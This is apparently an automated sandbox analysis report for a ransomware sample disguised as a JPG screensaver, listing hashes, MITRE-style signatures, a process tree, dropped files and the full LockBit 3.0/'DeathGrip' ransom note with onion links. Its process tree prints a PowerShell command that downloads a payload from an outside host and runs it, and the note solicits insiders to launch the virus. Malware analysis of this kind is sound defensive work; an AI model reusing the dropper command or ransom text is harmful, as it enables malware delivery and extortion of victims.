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Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/08/2024, 03:57

General

  • Target

    death.ΓÇ«gpj.scr.exe

  • Size

    466KB

  • MD5

    0fdbc8c24e84eea10dc25e81765014a1

  • SHA1

    2d566a2b94fc8b16b97200392db1bbe714c31289

  • SHA256

    e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58

  • SHA512

    3cb0c09cc5303f7842fd5ba79a118f62586c4f494a2168c6103db55697fe9dc063f866ec5ee8fc208e01cfe7d7e6b044847c824ee28ed7b4ba41d035fb7da72f

  • SSDEEP

    12288:CgZXEAO/BUdG3gVdt7Kdm5bakhM/7xah42prW1:CgZXoZUTVdt7K0JakhM1ah42prW1

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://master-repogen.vercel.app/file/server.scr

Extracted

Path

C:\wlJ8FiR2h.README.txt

Family

lockbit

Ransom Note
~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom DeathGrip Ransomware Attack | t.me/DeathGripRansomware This computer is attacked by russian ransomware community of professional black hat hackers. Your every single documents / details is now under observation of those hackers. If you want to get it back then you have to pay 1000$ for it. This Attack Is Done By Team RansomVerse You Can Find Us On Telegram @DeathGripRansomware Contact The Owner For The Decrypter Of This Ransomware #DeathGripMalware >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on Telegram t.me/DeathGripRansomware >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. Sometimes you will need to wait for our answer because we attack many companies. Links for Tor Browser: http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion Link for the normal browser http://lockbitsupp.uz >>>> Your personal DECRYPTION ID: B7568014A48684D6D525F3F3722638C4 >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using on Telegram messenger without registration and text t.me/DeathGripRansomware Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
URLs

http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion

http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion

http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion

http://lockbitsupp.uz

http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion

http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion

http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion

http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion

http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion

http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion

http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion

http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion

http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion

Signatures

  • Lockbit

    Ransomware family with multiple variants released since late 2019.

  • Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
  • Renames multiple (606) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops desktop.ini file(s) 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Drops file in System32 directory 4 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Control Panel 2 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\death.ΓÇ«gpj.scr.exe
    "C:\Users\Admin\AppData\Local\Temp\death.ΓÇ«gpj.scr.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4084
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Dropper.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1264
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4696
      • C:\Users\Admin\Downloads\server.scr
        "C:\Users\Admin\Downloads\server.scr"
        3⤵
        • Executes dropped EXE
        • Drops desktop.ini file(s)
        • Sets desktop wallpaper using registry
        • System Location Discovery: System Language Discovery
        • Modifies Control Panel
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\splwow64.exe
          C:\Windows\splwow64.exe 12288
          4⤵
          • Drops file in System32 directory
          PID:544
        • C:\ProgramData\2900.tmp
          "C:\ProgramData\2900.tmp"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3648
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\2900.tmp >> NUL
            5⤵
            • System Location Discovery: System Language Discovery
            PID:548
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
    1⤵
      PID:1900
    • C:\Windows\system32\printfilterpipelinesvc.exe
      C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
      1⤵
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:2512
      • C:\Program Files\Microsoft Office\root\Office16\ONENOTE.EXE
        /insertdoc "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\{901E6D61-4F5C-4B7C-837F-238D54EF7C53}.xps" 133670446449990000
        2⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious use of SetWindowsHookEx
        PID:1844

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\$Recycle.Bin\S-1-5-21-3089151618-2647890268-2710988337-1000\YYYYYYYYYYY

      Filesize

      129B

      MD5

      eaeab5cee5b6ecae2955ed17b92f052a

      SHA1

      b40579cf457003988b8c6bfa803af46e02ce6016

      SHA256

      e1ed0778027a007a76d936dec2b60c47267a158a1ffb13427ccc2343e9378308

      SHA512

      b56c1c75dbf7dcdbac3bf88b22b14b2c6b1ff9700eafeecd30d739eb3fef70bc01a21241e2a4f335c6b0440c9b083df90018f1fd9ef528359e00a02234fc6546

    • C:\ProgramData\2900.tmp

      Filesize

      14KB

      MD5

      294e9f64cb1642dd89229fff0592856b

      SHA1

      97b148c27f3da29ba7b18d6aee8a0db9102f47c9

      SHA256

      917e115cc403e29b4388e0d175cbfac3e7e40ca1742299fbdb353847db2de7c2

      SHA512

      b87d531890bf1577b9b4af41dddb2cdbbfa164cf197bd5987df3a3075983645a3acba443e289b7bfd338422978a104f55298fbfe346872de0895bde44adc89cf

    • C:\Users\Admin\AppData\Local\Temp\Dropper.bat

      Filesize

      470B

      MD5

      8073ff57f855d5cd51346f011933d9fb

      SHA1

      d24fc282fb660945b87e1c41860a031f6e7ec9f6

      SHA256

      6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71

      SHA512

      9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eifyzq1k.dcr.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\death.jpg

      Filesize

      90KB

      MD5

      21f64b929f042e09a9c1561b186aea21

      SHA1

      73eab5ff676774a4314addd88d4ab7a3e54ad651

      SHA256

      5d97aa59d9786c3e8d5de4f4a57bfe6cad2083bca2112688db0c6e31d245d7a6

      SHA512

      6c2ee74b2fe4d583fe75ce92ef3c0955a1f7ca53a5401ef5cfdb82ba0769a61cdf27ecf51c67fb4c114d78f34d4d327f389f5bb4c8ef0cd0b909b59df770b409

    • C:\Users\Admin\AppData\Local\Temp\{EF93D52D-4E2F-4A04-A83D-E0E4E18472AE}

      Filesize

      4KB

      MD5

      ee75272ae8df99b8c701a75e6518c44c

      SHA1

      1b21dcb5423d2834dc683cb8825f96e39ee566ed

      SHA256

      d0bc5a41d3026ae17547fdfc6daf575f7aff627d638b1b0c0fabb6f79889414e

      SHA512

      1a1d1492749fc85f9f0319bad8ddb3f931caf894f68bd28be02671a8e7e2e75e45f050d33bf6cdc373bf09d2217e60f5ab2ca5ae759c3703d619484f56f5298c

    • C:\Users\Admin\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2

      Filesize

      4KB

      MD5

      68129475ffe4b5811e97f5e1acff8953

      SHA1

      78fb149cb8819e4f63764e0d9721695e3ae10822

      SHA256

      4d03cd02bc16dddbf535e95f51684d195608611a26619b5917ec1ac67a7cabb2

      SHA512

      f42e9313d0e84b0c24870dbf4d23397fefec4219aa99f530e34f9d2ba3d2d534904ce4459b5bbd6e074f84ed02d66547c1a8d50616ea7c612101d5407889d95e

    • C:\Users\Admin\Downloads\CCCCCCCCCC

      Filesize

      150KB

      MD5

      4c04529c1f00a8cc8cef69c9a663f0e8

      SHA1

      83c6bb77a0cd2ea4041129e4f6664ab733a4dd26

      SHA256

      afb862dca8944877f49e840f4d6f6a1cdbbfcd120dae2a594a63b07989c5f302

      SHA512

      8cd738902709923ca11a0c826ba8d16bb73f4ba4233feb2236f7a4333205c2b5eb65859b5d6353feee698a395a464b6fb84d93aeaad8a8003169cca2b6461185

    • C:\Users\Admin\Downloads\server.scr

      Filesize

      150KB

      MD5

      7e503c206e57f0295da017914a957d04

      SHA1

      96c375b9c57292db73c7ef2f2df16cf7be1604bb

      SHA256

      274844568a6a9ce334d71efeac21f528d7b54b2cd4377c978cc1270c6ad986c4

      SHA512

      cd4889ae107c54df854042e030eb431664d4db9d6dc908d1f1910ca49b89d247222f9d19440fcc2d9a120c95b56cd694750072ab9486eea961b8c33391344c1c

    • C:\wlJ8FiR2h.README.txt

      Filesize

      3KB

      MD5

      b9674de0868a93e9121bdb1d02d80130

      SHA1

      79d692fd03d3110a4358e2cc7442af9517489f3f

      SHA256

      9268d24e96639cf4c0e8d74f9769092b415015692ea528820faaded6fc5b052c

      SHA512

      b3264ad33eddedb2c18da883e2345247c762adc8a604991fce931cba06b86c361d23fa121e79d6c69948a2d5b9c1613139f401b971360d9d684abb5a61543c02

    • F:\$RECYCLE.BIN\S-1-5-21-3089151618-2647890268-2710988337-1000\DDDDDDDDDDD

      Filesize

      129B

      MD5

      b96fec319187f74033cb9888db102bbb

      SHA1

      4e2359c420352194fbf581ca230ba9385d4683e5

      SHA256

      2bd6f1da7a8b2762e07ff7ba964216628c967a247d20cab9ecf6c80203e91095

      SHA512

      53a446c8802bf0bbddc856d965ebf36d0d5c42f5dadd2e362d266dd368a3064a65ffc0df6b000e986ddc718c2455e1aa7ab56b54f571e6d74114f53a00985e2c

    • memory/1700-2990-0x0000000074B90000-0x0000000074DA0000-memory.dmp

      Filesize

      2.1MB

    • memory/1700-36-0x0000000074B90000-0x0000000074DA0000-memory.dmp

      Filesize

      2.1MB

    • memory/1844-2985-0x00007FF7CC350000-0x00007FF7CC360000-memory.dmp

      Filesize

      64KB

    • memory/1844-2981-0x00007FF7CC350000-0x00007FF7CC360000-memory.dmp

      Filesize

      64KB

    • memory/1844-3020-0x00007FF7C99F0000-0x00007FF7C9A00000-memory.dmp

      Filesize

      64KB

    • memory/1844-3002-0x00007FF7C99F0000-0x00007FF7C9A00000-memory.dmp

      Filesize

      64KB

    • memory/1844-2982-0x00007FF7CC350000-0x00007FF7CC360000-memory.dmp

      Filesize

      64KB

    • memory/1844-2987-0x00007FF7CC350000-0x00007FF7CC360000-memory.dmp

      Filesize

      64KB

    • memory/1844-2983-0x00007FF7CC350000-0x00007FF7CC360000-memory.dmp

      Filesize

      64KB

    • memory/4696-12-0x0000000005C10000-0x0000000005C32000-memory.dmp

      Filesize

      136KB

    • memory/4696-11-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/4696-14-0x0000000005D90000-0x0000000005DF6000-memory.dmp

      Filesize

      408KB

    • memory/4696-24-0x0000000005F00000-0x0000000006254000-memory.dmp

      Filesize

      3.3MB

    • memory/4696-27-0x0000000007A10000-0x000000000808A000-memory.dmp

      Filesize

      6.5MB

    • memory/4696-25-0x0000000006390000-0x00000000063AE000-memory.dmp

      Filesize

      120KB

    • memory/4696-26-0x00000000063D0000-0x000000000641C000-memory.dmp

      Filesize

      304KB

    • memory/4696-13-0x0000000005CB0000-0x0000000005D16000-memory.dmp

      Filesize

      408KB

    • memory/4696-10-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/4696-9-0x00000000055E0000-0x0000000005C08000-memory.dmp

      Filesize

      6.2MB

    • memory/4696-28-0x00000000068A0000-0x00000000068BA000-memory.dmp

      Filesize

      104KB

    • memory/4696-32-0x0000000074D50000-0x0000000075500000-memory.dmp

      Filesize

      7.7MB

    • memory/4696-8-0x0000000002A70000-0x0000000002AA6000-memory.dmp

      Filesize

      216KB

    • memory/4696-7-0x0000000074D5E000-0x0000000074D5F000-memory.dmp

      Filesize

      4KB